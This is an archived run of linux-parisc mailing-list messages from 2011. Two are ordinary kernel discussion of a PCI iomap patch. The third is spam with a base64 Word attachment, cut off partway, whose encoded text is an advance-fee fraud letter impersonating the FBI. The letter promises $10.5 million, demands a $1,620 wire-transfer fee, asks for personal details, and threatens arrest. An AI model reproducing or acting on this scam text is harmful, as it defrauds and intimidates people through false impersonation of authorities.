	 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
	 <20111204143000.GB21238@redhat.com>
	 <1323009144.3003.6.camel@dabdike.int.hansenpartnership.com>
	 <20111204144236.GA21506@redhat.com>
	 <1323099209.7213.18.camel@dabdike.int.hansenpartnership.com>
	 <20111205162412.GA15603@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323103574 14878 80.91.229.12 (5 Dec 2011 16:46:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 16:46:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 17:46:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXbg8-0001NX-CU
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Dec 2011 17:46:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932513Ab1LEQqH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Dec 2011 11:46:07 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51645 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932512Ab1LEQqG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Dec 2011 11:46:06 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7F6FA8EE0C5;
	Mon,  5 Dec 2011 08:46:05 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eCEd6DnX0nSx; Mon,  5 Dec 2011 08:46:05 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D3E4C8EE0A5;
	Mon,  5 Dec 2011 08:46:04 -0800 (PST)
In-Reply-To: <20111205162412.GA15603@redhat.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4066>

On Mon, 2011-12-05 at 18:24 +0200, Michael S. Tsirkin wrote:
> > > so ... ACK?
> > 
> > Um, well, it looks like a trivial code shift, so it doesn't really need
> > one (it can just go through the trivial tree).
> 
> It's part of a larger set not all of which is trivial.

OK, so it looks fine to me.

> >  Unless there's some
> > reason actually to test it out on parisc because something will break
> > (in which case, I'll need the actual patch, not just a quoted one).
> > 
> > James
> 
> A build test would be nice. Just forwarded you a patch.
> It's also on linux-next.

Actually, sending it to me doesn't help.  Being busy and lazy, I want to
see if someone else will test it ... that's why we send patches to the
list.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Mon, 5 Dec 2011 10:23:17 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <CANEJEGuHpT-SWEbRVN0WXbOSBcbP8HDhFjKjxUfShyV84pqazw@mail.gmail.com>
References: <cover.1322163031.git.mst@redhat.com>
	<9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	<20111204104817.GI15464@redhat.com>
	<1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
	<20111204143000.GB21238@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1323109408 3165 80.91.229.12 (5 Dec 2011 18:23:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 18:23:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 19:23:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXdCB-0002jA-Ec
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Dec 2011 19:23:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755321Ab1LESXT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Dec 2011 13:23:19 -0500
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:64146 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751140Ab1LESXS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Dec 2011 13:23:18 -0500
Original-Received: by yenm1 with SMTP id m1so2039031yen.19
        for <linux-parisc@vger.kernel.org>; Mon, 05 Dec 2011 10:23:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :x-system-of-record;
        bh=a4fSqtDURIpWpku/XZsz+LwV9v+WNkRLTWadydeUZkU=;
        b=IvYOQl915twWgiIXVE4K975Tqi4yL1mWAbFG5tD24r71ErbzRNSxO/DaQy1EaMV7VY
         KzhN62rN0jAsb3oDYf/g==
Original-Received: by 10.236.200.130 with SMTP id z2mr13591795yhn.25.1323109397899;
        Mon, 05 Dec 2011 10:23:17 -0800 (PST)
Original-Received: by 10.236.200.130 with SMTP id z2mr13591773yhn.25.1323109397786;
 Mon, 05 Dec 2011 10:23:17 -0800 (PST)
Original-Received: by 10.150.217.3 with HTTP; Mon, 5 Dec 2011 10:23:17 -0800 (PST)
In-Reply-To: <20111204143000.GB21238@redhat.com>
X-Google-Sender-Auth: UbZ6OR6sq9UvtbBCSA6KCdEDSpk
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4067
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4067>

On Sun, Dec 4, 2011 at 6:30 AM, Michael S. Tsirkin <mst@redhat.com> wrote:
...
> AFAIK, on PCI a resource is either IO or MEM, but never both.
> What am I missing?

Yes, a particular PCI BAR (Base Address Register) is either IO or MEM
(not both) address space resource.

James is observing many older devices have the same set of registers
mapped in both address spaces using two BARs. As you already know,
MMIO is "lighter weight" (CPU cost to generate transactions on PCI
bus). I think this is orthogonal to the issue you are addressing.

Regarding handling of IO Port space cookies:
> -     if (flags & IORESOURCE_IO)
> -             return ioport_map(start, len);

I don't know who all the consumers of pci_iomap() are. If user space
can somehow call this, it should fail for IO port space "mappings"
since unlike x86, parisc has no INB/OUTB instructions. Generating IO
Port space requires frobbing PCI Bus controller registers that I don't
think we want to expose to user space.

I'm going to assume this is NOT a problem since any code that
generates anything that tries to look like an INB/OUTB just won't
compile on parisc.  I think removing the parisc specific definition
and using the generic one instead looks fine to me.  But I'm not
confident enough to offer a formal ACKed-by line. Sorry. :(

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MUELLER" <Skullzonme@aol.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: CAREFULLY READ THE ATTACHMENT AND CONTACT THE PERSON IN CHARGE OF THE DIST DOCUMENT
Date: Tue, 6 Dec 2011 03:45:00 -0600
Lines: 773
Approved: news@gmane.org
Message-ID: <201112060947.pB69l46H021015@ims-d11.mx.aol.com>
Reply-To: <washington-dc1@hotmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_002F_01C2A9A6.6F78BA9C"
X-Trace: dough.gmane.org 1323165124 12288 80.91.229.12 (6 Dec 2011 09:52:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Dec 2011 09:52:04 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 06 10:52:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXrgu-0001Nz-Lc
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Dec 2011 10:52:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933068Ab1LFJvz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Dec 2011 04:51:55 -0500
Original-Received: from ims-d11.mx.aol.com ([205.188.249.148]:56797 "EHLO
	ims-d11.mx.aol.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933063Ab1LFJvy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Dec 2011 04:51:54 -0500
Original-Received: from oms-mb01.r1000.mx.aol.com (oms-mb01.r1000.mx.aol.com [64.12.102.137])
	by ims-d11.mx.aol.com (8.14.1/8.14.1) with ESMTP id pB69l46H021015;
	Tue, 6 Dec 2011 04:47:04 -0500
Original-Received: from mtaout-da02.r1000.mx.aol.com (mtaout-da02.r1000.mx.aol.com [172.29.51.130])
	by oms-mb01.r1000.mx.aol.com (AOL Outbound OMS Interface) with ESMTP id 489231C000088;
	Tue,  6 Dec 2011 04:47:04 -0500 (EST)
Original-Received: from omh-da01.r1000.mx.aol.com (omh-da01.r1000.mx.aol.com [172.29.51.136])
	by mtaout-da02.r1000.mx.aol.com (MUA/Third Party Client Interface) with ESMTP id 53561E0001C8;
	Tue,  6 Dec 2011 04:47:03 -0500 (EST)
Original-Received: from mtaout-da04.r1000.mx.aol.com (mtaout-da04.r1000.mx.aol.com [172.29.51.132])
	by omh-da01.r1000.mx.aol.com (AOL Outbound Holding Interface) with ESMTP id AC31DE0000BC;
	Tue,  6 Dec 2011 04:45:08 -0500 (EST)
Original-Received: from User (unknown [8.27.208.146])
	by mtaout-da04.r1000.mx.aol.com (MUA/Third Party Client Interface) with ESMTPA id 8F04EE0000E5;
	Tue,  6 Dec 2011 04:45:00 -0500 (EST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-AOL-VSS-INFO: 5400.1158/76684
X-AOL-VSS-CODE: scan_error
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com;
	s=20110426; t=1323164708;
	bh=V2Tv1XI7IE/5ZJZLwPs9F/EzcNUt3M280Mk9o6tnq7A=;
	h=From:Subject:Date:MIME-Version:Content-Type;
	b=anPiqUyQv9OClqECbv+U7RgkjXHWulFy0OUZ90S5D7uh2Cbpvh+GHfbExHhz1Wt7i
	 GjFBYvxlHnLCdUm0KXOzSJ7f3aP9U0WIz8eJx9+Kks5dRc4eWJsigWUQIqCjwtHKOf
	 Nnr83TEpae7YfXX2wvO/9nt+pKXmiJuRZrHK0rWk=
X-AOL-SCOLL-SCORE: 0:2:243260144:93952408  
X-AOL-SCOLL-URL_COUNT: 0  
x-aol-global-disposition: S
X-SPAM-FLAG: YES
X-AOL-VSS-INFO: 5400.1158/76684
X-AOL-VSS-CODE: scan_error
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com;
	s=20110426; t=1323164824;
	bh=V2Tv1XI7IE/5ZJZLwPs9F/EzcNUt3M280Mk9o6tnq7A=;
	h=From:Subject:Date:MIME-Version:Content-Type;
	b=jfT4Pn7hrwTLVBUeV5tG1a28ZA4yqWlA0JFhaeUQDtH8NymqPeRVMmrEvXHnDnfas
	 amDEGHZzPOxhBopxtAAiNQ2tBvJRz3TQFaz4uXf3IEkKyb3W7PjnTk+msaylOCOwXh
	 7qDsa/llsVej0OsoFVaK/xwwlllEDJccMSr/pIKo=
X-AOL-SCOLL-SCORE: 0:2:266051488:93952408  
X-AOL-SCOLL-URL_COUNT: 0  
X-AOL-REROUTE: YES 
x-aol-sid: 3039ac1d33824edde497116e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 10.4 points;
 *  2.1 SUBJ_ALL_CAPS Subject is all capitals
 *  0.0 BAYES_50 BODY: Bayesian spam probability is 40 to 60%
 *      [score: 0.4998]
 *  0.6 RCVD_IN_SORBS_WEB RBL: SORBS: sender is a abuseable web server
 *      [8.27.208.146 listed in dnsbl.sorbs.net]
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?8.27.208.146>]
 *  0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay
 *  0.8 MSOE_MID_WRONG_CASE MSOE_MID_WRONG_CASE
 *  3.1 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Xref: news.gmane.org gmane.linux.ports.parisc:4068 gmane.spam.detected:4918411
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4068>

This is a multi-part message in MIME format.

------=_NextPart_000_002F_01C2A9A6.6F78BA9C
Content-Type: text/plain;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit


------=_NextPart_000_002F_01C2A9A6.6F78BA9C
Content-Type: application/msword;
	name="Fund_Transfer_(1).doc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Fund_Transfer_(1).doc"

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAB
AAAAPQAAAAAAAAAAEAAAPwAAAAEAAAD+////AAAAADwAAAD/////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
///////////////////////spcEAJ2AJBAAA+BK/AAAAAAAAEAAAAAAABgAA
7BQAAA4AYmpiakxVTFUAAAAAAAAAAAAAAAAAAAAAAAAJBBYANC4AAC4/AQAu
PwEA7AwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAA
AAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAKQAAAAAABYEAAAA
AAAAFgQAABYEAAAAAAAAFgQAAAAAAAAWBAAAAAAAABYEAAAAAAAAFgQAABQA
AAAAAAAAAAAAACoEAAAAAAAAEgsAAAAAAAASCwAAAAAAABILAAAAAAAAEgsA
AEwAAABeCwAAFAAAACoEAAAAAAAATxMAAFgBAAB+CwAAFgAAAJQLAAAAAAAA
lAsAAAAAAACUCwAAAAAAAJQLAAAAAAAAbwwAAAAAAABvDAAAAAAAAG8MAAAA
AAAAzhIAAAIAAADQEgAAAAAAANASAAAAAAAA0BIAAAAAAADQEgAAAAAAANAS
AAAAAAAA0BIAACQAAACnFAAAaAIAAA8XAACCAAAA9BIAABUAAAAAAAAAAAAA
AAAAAAAAAAAAFgQAAAAAAAAyDwAAAAAAAAAAAAAAAAAAAAAAAAAAAABvDAAA
AAAAAG8MAAAAAAAAMg8AAAAAAAAyDwAAAAAAAPQSAAAAAAAAAAAAAAAAAAAW
BAAAAAAAABYEAAAAAAAAlAsAAAAAAAAAAAAAAAAAAJQLAADbAAAACRMAABYA
AABqEQAAAAAAAGoRAAAAAAAAahEAAAAAAAAyDwAAOgAAABYEAAAAAAAAlAsA
AAAAAAAWBAAAAAAAAJQLAAAAAAAAzhIAAAAAAAAAAAAAAAAAAGoRAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAMg8AAAAAAADOEgAAAAAAAAAAAAAAAAAAahEAAAAAAAAAAAAAAAAAAGoR
AAAAAAAAFgQAAAAAAAAWBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAahEAAAAAAACUCwAA
AAAAAHILAAAMAAAA4EsE1TyzzAEAAAAAAAAAABILAAAAAAAAbA8AAC4AAABq
EQAAAAAAAAAAAAAAAAAAuhIAABQAAAAfEwAAMAAAAE8TAAAAAAAAahEAAAAA
AACRFwAAAAAAAJoPAAC6AQAAkRcAAAAAAABqEQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAJEXAAAAAAAAAAAAAAAAAAAWBAAAAAAAAGoRAABQ
AQAAbwwAAHYAAADlDAAAVAAAAGoRAAAAAAAAOQ0AAEQAAAB9DQAAtQEAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbwwAAAAAAABvDAAAAAAA
AG8MAAAAAAAA9BIAAAAAAAD0EgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAVBEAABYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAG8MAAAAAAAAbwwAAAAAAABvDAAAAAAAAE8TAAAAAAAAMg8AAAAA
AAAyDwAAAAAAADIPAAAAAAAAMg8AAAAAAAAAAAAAAAAAACoEAAAAAAAAKgQA
AAAAAAAqBAAABAUAAC4JAADkAQAAKgQAAAAAAAAqBAAAAAAAACoEAAAAAAAA
LgkAAAAAAAAqBAAAAAAAACoEAAAAAAAAKgQAAAAAAAAWBAAAAAAAABYEAAAA
AAAAFgQAAAAAAAAWBAAAAAAAABYEAAAAAAAAFgQAAAAAAAD/////AAAAAAIA
DAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEZyb206
IEZlZGVyYWwgQnVyZWF1IG9mIEludmVzdGlnYXRpb24NRGVwdDogQW50aS1U
ZXJyb3Jpc3QgJiBNb25ldGFyeSBDcmltZXMgRGl2aXNpb24NT2ZmaWNlOiBX
YXNoaW5ndG9uLCBELkMuIEhlYWRxdWFydGVycw1BZGRyZXNzOiBKLiBFZGdh
ciBIb292ZXIgQnVpbGRpbmcgOTM1IFBlbm5zeWx2YW5pYSBBdmVudWUsIE5X
IFdhc2hpbmd0b24sIEQuQy4gMjA1MzUtMDAwMQ1EYXRlOiAxMi8wNS8yMDEx
DQ1BdHRlbnRpb246IEJlbmVmaWNpYXJ5LA0NVGhpcyBpcyBhbiBvZmZpY2lh
bCBhZHZpY2UgZnJvbSB0aGUgRmVkZXJhbCBCdXJlYXUgb2YgSW52ZXN0aWdh
dGlvbi4gSXQgaGFzIGNvbWUgdG8gb3VyIG5vdGljZSB0aGF0IHRoZSBCYW5r
IG9mIEFtZXJpY2EgaGFzIGEgaHVnZSBhbW91bnQgb2YgbW9uZXkgd29ydGgg
JDEwLjUgTWlsbGlvbiBVbml0ZWQgU3RhdGUgRG9sbGFycyBpbiB5b3VyIG5h
bWUgYW5kIHRvIGJlIHRyYW5zZmVyIHRvIHlvdXIgcGVyc29uYWwgQmFuayBB
Y2NvdW50IGJ1dCB3ZSB0aGUgRi5CLkkgbmVlZCBhIHZlcmlmaWNhdGlvbiBk
b2N1bWVudCBjYWxsZWQgRGlwbG9tYXRpYyBJbW11bml0eSBTZWFsIE9mIFRy
YW5zZmVyIiAoRElTVCkgdG8gdGhpcyB0cmFuc2Zlci4NDVdlIGhhdmUgZGVj
aWRlZCB0byBjb250YWN0IHlvdSBkaXJlY3RseSB0byBhY3F1aXJlIHRoZSBw
cm9wZXIgdmVyaWZpY2F0aW9ucyBhbmQgcHJvb2YgZnJvbSB5b3UgdG8gc2hv
dyB0aGF0IHlvdSBhcmUgdGhlIHJpZ2h0ZnVsIHBlcnNvbiB0byByZWNlaXZl
IHRoaXMgZnVuZC4gV2Ugd2FudCB0byBtYWtlIHN1cmUgaXSScyBhIGNsZWFu
IGFuZCBsZWdhbCBtb25leSB0aGF0IHlvdSBhcmUgYWJvdXQgdG8gcmVjZWl2
ZSBiZWZvcmUgd2UgY2FuIGluc3RydWN0IHRoZSBCYW5rIHRvIHRyYW5zZmVy
IHRoZSBmdW5kIHRvIHlvdXIgQWNjb3VudC4gU28geW91IGFyZSBhZHZpY2Ug
dG8gZm9yd2FyZCB1cyB0aGUgIkRpcGxvbWF0aWMgSW1tdW5pdHkgU2VhbCBP
ZiBUcmFuc2ZlciIgKERJU1QpLCBpZiB5b3UgaGF2ZSBpdCBpbiB5b3VyIHBv
c2l0aW9uIHRvIHNhdGlzZnkgdGhhdCB0aGUgbW9uZXkgeW91ciBhYm91dCB0
byByZWNlaXZlIGlzIGxlZ2FsIGFuZCBsZWdpdGltYXRlLg0NTm90ZSwgSWYg
eW91IGRvbpJ0IGhhdmUgdGhlc2UgZG9jdW1lbnRzIGFzIHJlcXVpcmVkLCB5
b3UgYXJlIGFkdmlzZSB0byBjb250YWN0IHRoZSBwZXJzb24gaW4gY2hhcmdl
IGJlbG93IGFuZCBhc2sgdGhlIEJhbmsgaG9sZGluZyB0aGUgZnVuZHMgdG8g
Z28gYWhlYWQgaW4gY3JlZGl0aW5nIHRoZSBmdW5kcyB0byB5b3VyIGFjY291
bnQgaW1tZWRpYXRlbHkgYW5kIG9ubHkgaWYgeW91IGhhdmUgdGhlIHNhaWQg
ZG9jdW1lbnQgY2FsbGVkICJEaXBsb21hdGljIEltbXVuaXR5IFNlYWwgT2Yg
VHJhbnNmZXIiIChESVNUKSBmcm9tIHRoZSBiZWxvdyBjb250YWN0IGFnZW50
IGNhbGxlZCBNci4gQWxveXNpdXMgS2F0c2luYS1BbHUuDQ1BbHNvIHdlIGhh
dmUgY29uZmlybWVkIHRoYXQgdGhlIGFtb3VudCByZXF1aXJlZCB0byBwcm9j
dXJlIHlvdXIgZG9jdW1lbnQgd2hpY2ggaXMgY2FsbGVkIHRoZSBEaXBsb21h
dGljIEltbXVuaXR5IFNlYWwgb2YgVHJhbnNmZXIgKERJU1QpIHdpbGwgY29z
dCB5b3UgYSB0b3RhbCBzdW0gb2YgJDEsNjIwVVNEIG9ubHkgYW5kIHRoZSBm
ZWUgc2hvdWxkIGJlIHBhaWQgZGlyZWN0bHkgdG8gdGhlIHBheW1lbnQgb2Zm
aWNlIGluIFVuaXRlZCBTdGF0ZSBWaWEgV2VzdGVybiBVbmlvbiBNb25leSBU
cmFuc2ZlciBPUiBNb25leSBHcmFtLiBUaGUgcGVyc29uIGluIGNoYXJnZSBp
biBwcm9jdXJpbmcgeW91ciBkb2N1bWVudCByZWFkeSBmb3IgdGhlIHJlbGVh
c2Ugb2YgeW91ciBmdW5kIGlzIGdpdmVuIGJlbG93Ow0NTmFtZTogTXIuIEFs
b3lzaXVzIEthdHNpbmEtQWx1Lg1FLW1haWw6IBMgSFlQRVJMSU5LICJtYWls
dG86Y2hpZWZqdXN0aWNlb2ZuaWdlcmlhMjAwOEBsYXd5ZXIuY29tIiABFGNo
aWVmanVzdGljZW9mbmlnZXJpYTIwMDhAbGF3eWVyLmNvbRUNVGVsOiAoKzIz
NCkgODA2NDcxNzA0Mw0NWW91IHNob3VsZCBjb250YWN0IE1yLiBBbG95c2l1
cyBLYXRzaW5hLUFsdSB3aXRoIHRoZSByZXF1aXJlZCBkZXRhaWxzIHJlZ2Fy
ZGluZyB0aGUgcmVsZWFzZSBvZiB5b3VyIGZ1bmQgdG8geW91ciBvd24gcGVy
c29uYWwgQmFuayBBY2NvdW50IGFuZCB3aXRoIHRoZSBmb2xsb3dpbmcgcmVx
dWlyZW1lbnQgdG8gZ2V0IHlvdXIgRC5JLlNUIERvY3VtZW50IHByb2N1cmUg
aXMgZ2l2ZW4gYmVsb3c7DQ0qRnVsbCBOYW1lOg0qQWRkcmVzczoNKkNpdHk6
DSpTdGF0ZToNKlppcCBjb2RlOg0qTmF0aW9uYWxpdHk6DSpPY2N1cGF0aW9u
Og0qVGVsZXBob25lOg0qRW1haWw6DSpBZ2U6DQ1XQVJOSU5HOiBXZSBoYXZl
IHJlcXVlc3RlZCBmb3IgdGhlIEQuSS5TLlQgRG9jdW1lbnQgdG8gbWFrZSBh
dmFpbGFibGUgdGhlIG1vc3QgY29tcGxldGUgYW5kIHVwZGF0ZSByZWNvcmRz
IHBvc3NpYmxlIGZvciB0aGUgZW5oYW5jZW1lbnQgb2YgcHVibGljIHNhZmV0
eSwgd2VsZmFyZSBhbmQgc2VjdXJpdHkgb2Ygc29jaWV0eSB3aGlsZSByZWNv
Z25pemluZyB0aGUgaW1wb3J0YW5jZSBvZiBpbmRpdmlkdWFsIHByaXZhY3kg
cmlnaHRzLiBGYWlsdXJlIHRvIHByb2R1Y2UgdGhlIGFib3ZlIHJlcXVpcmVt
ZW50IHRvIHVzLCBsZWdhbCBhY3Rpb24gd2lsbCBiZSB0YWtlbiBpbW1lZGlh
dGVseSBieSBhcnJlc3RpbmcgYW5kIGRldGFpbmluZyB5b3UuIFlvdSBzaGFs
bCBiZSB0cmllZCBhbmQgaWYgZm91bmQgZ3VpbHR5LCB5b3Ugd2lsbCBiZSBq
YWlsZWQuIEFzIHRlcnJvcmlzbSwgZHJ1ZyB0cmFmZmlja2luZyBhbmQgbW9u
ZXkgbGF1bmRlcmluZyBpcyBhIHNlcmlvdXMgcHJvYmxlbSBpbiBvdXIgY29t
bXVuaXR5IHRvZGF5LiBUaGUgRi5CLkkgd2lsbCBub3Qgc3RvcCBhdCBhbnkg
bGVuZ3RoIGluIHRyYWNraW5nIGRvd24gYW5kIHByb3NlY3V0aW5nIGFueSBj
cmltaW5hbCB3aG8gaW5kdWxnZSBpbiB0aGlzIGNyaW1pbmFsIGFjdC4gT25j
ZSB5b3UgaGF2ZSBjb21wbGV0ZWQgcGF5bWVudCBvZiAkMSw2MjBVU0QgdG8g
dGhlIGFnZW50IGluIGNoYXJnZSBpbiBnZXR0aW5nIHlvdXIgRC5JLlMuVCBE
b2N1bWVudCBwcm9jdXJlLCB5b3UncmUgYWR2aXNlZCB0byBrZWVwIHVzIHBv
